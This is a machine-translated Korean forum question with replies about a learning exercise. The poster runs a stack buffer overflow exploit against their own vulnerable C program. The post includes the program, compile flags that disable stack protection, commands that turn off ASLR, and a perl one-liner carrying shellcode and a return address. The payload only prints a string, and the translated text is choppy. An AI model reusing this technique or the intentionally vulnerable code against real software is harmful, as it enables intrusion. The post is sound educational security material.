오래 전부터 스택에 위치한 버퍼 오버 플로우에 대해 읽었지만 실제로 가상 머신을 설정하기로 결정했습니다. 그것은 모두 GCC에 -zexecstack
및 -fno-stack-protector
옵션을 사용하여 컴파일 된스택 버퍼 오버 플로우 : GDB에서 작동하지만 외부에 없음
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
스택의 코드가 실행되는 및 (내장 스택 오버플로 보호 프로그램을 해제 할 수 :
다음 코드는 취약한 프로그램이었다 "카나리아"값).
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
내가 다음 스택에 name
의 메모리 위치를 찾기 위해 GDB를 사용하여 다음 주소를 찾아 내 VM은 최근의 리눅스 버전을 가지고 있기 때문에 0x7fffffffdc10
을, 나는 ASLR을 해제했다 (주소 공간 레이아웃 무작위 화) : sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
또는 sudo sysctl -w kernel.randomize_va_space=0
.
쉘 코드는 내가 스택 스매싱에 대해 온라인으로 볼 기사에서 찍은와 펄 스크립트를 통해 프로그램에 공급 하였다 : "Hax을"
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
처음 45 바이트를 작성하는데 쉘 코드를 (인 화면에서 오른쪽 위치에 포인터를 가져 오기위한 여분의 27 "A"바이트와 마지막으로 리틀 엔디안에서 페이로드의 시작 주소를 가져옵니다.
문제는 :
때를 통해 GDB에서 프로그램을 실행 : "Hax"
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
내가 쉘 코드 실행과를 얻을 수 있습니다 산출.
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
처럼 GDB 외부 프로그램을 실행하려고 내가 대신의 Illegal instruction (core dumped)
오류가 나타납니다 "Hax을!" 산출.
나는이 다른 행동의 원인이 무엇인지 알아 내려고 노력하고 있었다. 분명히 GDB는 기본적으로 ASLR을 비활성화하지만 커널의 sysctl
을 통해 비활성화합니다. 커널이 kernel.randomize_va_space
변수를 무시할 수 있습니까? 또는 GDB와 실제 프로세스에서 정적 인 경우에도 메모리 주소가 다를 수 있습니까? 또는 실제로 실제 프로세스가 쉘 코드를 실제로 실행하고 있지만 GDB가 무시하거나 무시하는 실제 프로세스에서 문제가 발생하고 있습니까?
원인에 대한 아이디어가 있습니까?
32 비트 코드로 컴파일 해 보셨습니까? (예 :'-m32') 구체적인 내용은 모르지만 x86_64에는 스택 실행 파일을 만드는 데 추가적인 장벽이 있다는 것을 알고 있습니다. (아니, 왜 GDB에서 작동하는지 모르겠다.) : –
[NX] (https://en.wikipedia.org/wiki/NX_bit)이 맞습니까? – Kevin
@ DavidC.Rankin 방금 32 비트로 컴파일하려고했지만 프로세스에 몇 가지 합병증이있었습니다. 메모리에서 페이로드가 저장되는 위치를 다시 계산 한 후 * 저장된 명령 포인터 *에 도달하기 위해 몇 바이트의 오버 헤드 바이트를 삽입해야하는지 다시 계산해야했습니다. 놀랍게도 나는 예상보다 32 비트 버전에서 더 많은 바이트로 버퍼를 채워야했다 : 나는 64 바이트 버퍼 + 4 바이트 저장 스택 포인터를 채울 필요가 있다고 생각했지만 64 * 12 바이트는 * 저장해야했다. 명령어 포인터 *. 64 비트 버전 (64 + 8 바이트) 이상. – murphsghost